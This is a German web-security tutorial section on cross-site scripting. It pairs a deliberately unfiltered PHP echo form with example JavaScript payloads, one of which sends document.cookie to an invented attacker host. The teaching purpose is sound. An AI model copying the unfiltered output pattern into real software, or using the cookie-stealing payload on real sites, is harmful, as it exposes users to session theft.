16.2 Sicherheit XSS

*Ein Sicherheitsproblem ist das **Cross-Site Scripting** (kurz XSS). Schon die Eingabe von unerwünschten HTML Elementen führt zu einer unangenehmen Veränderung des Designs – dramatischer jedoch sind die Auswirkungen von fremden JavaScript Code im Projekt Deshalb sollte man stets auch darauf achten, welchen Fremdcode man im eigenen Projekt zulässt! Das Beispiel zeigt, welche Auswirkungen schon die Eingabe von schändlichen JavaScript-Code in einer Textarea mit ungefilterter echo Ausgabe hat.*

Unsicherer PHP Code. Die Eingabe ins textarea Element wird ungefiltert auf der gleichen Seite ausgegeben. Es folgen Beispiele, welche negativen Auswirkungen in Verbindung mit JavaScript entstehen können. Überlege was passiert, wenn man den JavaScript Code als Benutzereingabe in die Textarea eingibt!

```
<form method="post">
 <textarea name="eingabe"></textarea><br>
 <input type="submit" value="Eingabe anzeigen">
</form>

<?php
  if(isset($_POST["eingabe"])) {echo $_POST["eingabe"];}
?>
```

JS Ein unerwünschtes Dialogfenster wird geöffnet.

```
<script>  window.alert("gehackt");  </script>
```

JS Die Webseite wird immer wieder neu geladen.

```
<script>  location.reload();  </script>
```

JS Eine Umleitung zu einer fremden Website.

```
<script>  location.href="https://www.gehacked.at"; </script>
```

JS Und mit einer Umleitung ist natürlich auch ein Auslesen von Cookies denkbar. Die Übergabe der Cookies erfolgen als URL Query-String.

```
<script>
  location.href="https://www.gehacked.at/auswertung.php?c="
                + escape(document.cookie);
</script>
```

Man sieht welche negativen Auswirkungen ein schadhafter JavaScript-Code im Projekt haben kann. Noch schlimmer sind die Folgen wenn die Eingabe zwischengespeichert wird. (z. B. als MySQL Eintrag, JSON usw.).

*GEFAHR: Niemals **unkritisch** fremde Scripte ins Projekt einbinden – mit welcher Technik auf immer! (Die URIs sind frei erfunden).*

```
<?php include 'http://www.tollescripte.de/funktionen.php' ?>
<script src="http://www.superjs.com/sammlung.js" async>
<iframe src="http://www.bindemichein.net/fueralle.html" ></iframe>
<link href="http://dassign.at/traumhaftes.css" type="text/css" >
<img src="http://coolepix.org/bildmitjscode.svg" >
```